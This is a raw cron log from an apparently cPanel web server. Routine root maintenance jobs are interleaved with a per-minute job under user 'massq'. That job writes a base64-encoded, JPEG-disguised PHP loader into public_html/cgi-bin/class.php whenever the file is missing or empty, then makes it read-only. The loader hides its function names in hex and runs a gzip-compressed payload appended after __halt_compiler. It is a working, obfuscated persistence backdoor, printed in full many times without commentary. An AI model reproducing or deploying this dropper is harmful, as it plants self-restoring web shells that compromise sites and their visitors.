Sep  5 09:35:01 server CROND[10493]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:36:01 server CROND[11378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:36:01 server CROND[11379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:36:01 server CROND[11380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:37:01 server CROND[11797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:37:01 server CROND[11798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:37:01 server CROND[11799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:38:01 server CROND[12268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:38:01 server CROND[12269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:38:01 server CROND[12270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:39:01 server CROND[12668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:39:01 server CROND[12669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:39:01 server CROND[12670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:39:01 server CROND[12671]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 09:40:01 server CROND[13066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:40:01 server CROND[13068]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:40:01 server CROND[13069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:40:01 server CROND[13072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:40:01 server CROND[13074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:40:01 server CROND[13073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:40:01 server CROND[13071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:40:01 server CROND[13070]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:41:01 server CROND[13904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:41:01 server CROND[13905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:41:01 server CROND[13906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:42:01 server CROND[14353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:42:01 server CROND[14354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:42:01 server CROND[14355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:42:01 server CROND[14356]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 09:43:02 server CROND[14819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:43:02 server CROND[14820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:43:02 server CROND[14821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:44:01 server CROND[15192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:44:01 server CROND[15193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:44:01 server CROND[15194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:45:01 server CROND[15568]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:45:01 server CROND[15569]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:45:01 server CROND[15570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:45:01 server CROND[15571]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:45:01 server CROND[15574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:45:01 server CROND[15573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:45:01 server CROND[15575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:46:01 server CROND[16436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:46:01 server CROND[16437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:46:01 server CROND[16438]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:47:01 server CROND[16808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:47:01 server CROND[16809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:47:01 server CROND[16812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:48:01 server CROND[17270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:48:01 server CROND[17271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
